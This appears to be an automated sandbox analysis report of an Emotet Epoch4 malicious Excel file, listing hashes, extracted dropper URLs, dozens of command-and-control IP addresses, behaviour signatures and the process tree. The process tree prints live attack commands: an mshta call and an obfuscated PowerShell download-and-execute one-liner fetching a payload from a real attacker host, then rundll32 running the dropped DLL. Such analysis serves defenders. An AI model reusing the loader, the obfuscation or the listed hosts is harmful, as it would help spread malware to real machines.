emotet | 22cf3df56279cd20c7fb8dd10cb8beded5dd4bbcc3a5d743ab01a14a7c44e3ee

Analysis

max time kernel
122s
max time network
146s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 17:14

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General

Target
tmp5vac5648.xls
Size 155KB
Sample220127-vr22vagcel
SHA256 22cf3df56279cd20c7fb8dd10cb8beded5dd4bbcc3a5d743ab01a14a7c44e3ee
MD5 ad3b9188a8caccd28233dc8af5999a50
SHA1 73f9622deb51e7d2f16429d46f95fb639108b1b2
SHA512 aa8a934942f5eed4337060b1bf8761fe5a94f5a9e5545677042d58b2ed26018500bb0dcf6951c4b9f227a74d699c25536743aa575a144d3ab2a1cbf5348cd9f2
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3140	3048	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	3772	mshta.exe
36	3728	powershell.exe
39	3728	powershell.exe
43	1016	rundll32.exe
44	1016	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1148	rundll32.exe
2276	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Oyifetol\qewzfx.mso	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3656	3772	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3048	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3728	powershell.exe
3728	powershell.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3656	WerFault.exe
3728	powershell.exe
1016	rundll32.exe
1016	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	powershell.exe
Token: SeDebugPrivilege	3656	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 3140	3048	EXCEL.EXE	70
PID 3048 wrote to memory of 3140	3048	EXCEL.EXE	70
PID 3140 wrote to memory of 3772	3140	cmd.exe	72
PID 3140 wrote to memory of 3772	3140	cmd.exe	72
PID 3772 wrote to memory of 3728	3772	mshta.exe	76
PID 3772 wrote to memory of 3728	3772	mshta.exe	76
PID 3728 wrote to memory of 4072	3728	powershell.exe	79
PID 3728 wrote to memory of 4072	3728	powershell.exe	79
PID 4072 wrote to memory of 1148	4072	cmd.exe	80
PID 4072 wrote to memory of 1148	4072	cmd.exe	80
PID 4072 wrote to memory of 1148	4072	cmd.exe	80
PID 1148 wrote to memory of 2276	1148	rundll32.exe	81
PID 1148 wrote to memory of 2276	1148	rundll32.exe	81
PID 1148 wrote to memory of 2276	1148	rundll32.exe	81
PID 2276 wrote to memory of 1708	2276	rundll32.exe	82
PID 2276 wrote to memory of 1708	2276	rundll32.exe	82
PID 2276 wrote to memory of 1708	2276	rundll32.exe	82
PID 1708 wrote to memory of 1016	1708	rundll32.exe	83
PID 1708 wrote to memory of 1016	1708	rundll32.exe	83
PID 1708 wrote to memory of 1016	1708	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp5vac5648.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3728
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4072
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1148
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2276
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Oyifetol\qewzfx.mso",sLgGJmUxixdzL
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1708
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Oyifetol\qewzfx.mso",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1016
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3772 -s 1908
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1016-639-0x0000000004890000-0x00000000048B5000-memory.dmp

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memory/1016-643-0x0000000004A50000-0x0000000004A75000-memory.dmp

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memory/1016-641-0x0000000004970000-0x0000000004995000-memory.dmp

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memory/1016-645-0x0000000004B40000-0x0000000004B65000-memory.dmp

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memory/1016-637-0x00000000047B0000-0x00000000047D5000-memory.dmp

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memory/1016-635-0x00000000046D0000-0x00000000046F5000-memory.dmp

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memory/1016-632-0x00000000009F0000-0x0000000000A15000-memory.dmp

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memory/1016-647-0x0000000004D30000-0x0000000004D55000-memory.dmp

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memory/1016-649-0x0000000004DB0000-0x0000000004DD5000-memory.dmp

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memory/1148-613-0x0000000004E30000-0x0000000004E55000-memory.dmp

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memory/1708-630-0x00000000007B0000-0x00000000007D5000-memory.dmp

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memory/2276-621-0x0000000004AD0000-0x0000000004AF5000-memory.dmp

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memory/2276-625-0x0000000004C10000-0x0000000004C35000-memory.dmp

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memory/2276-629-0x0000000004E00000-0x0000000004E25000-memory.dmp

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memory/2276-618-0x0000000002F50000-0x0000000002F75000-memory.dmp

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memory/2276-627-0x0000000004C70000-0x0000000004C95000-memory.dmp

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memory/2276-623-0x0000000004BB0000-0x0000000004BD5000-memory.dmp

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memory/3048-121-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-674-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-677-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-676-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-675-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-119-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-132-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

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memory/3048-131-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

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memory/3048-122-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3048-120-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3728-561-0x00000212712A6000-0x00000212712A8000-memory.dmp

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memory/3728-293-0x00000212713E0000-0x0000021271402000-memory.dmp

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memory/3728-304-0x00000212712A0000-0x00000212712A2000-memory.dmp

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memory/3728-305-0x00000212712A3000-0x00000212712A5000-memory.dmp

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memory/3728-320-0x0000021271590000-0x00000212715CC000-memory.dmp

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memory/3728-362-0x0000021271AE0000-0x0000021271B56000-memory.dmp

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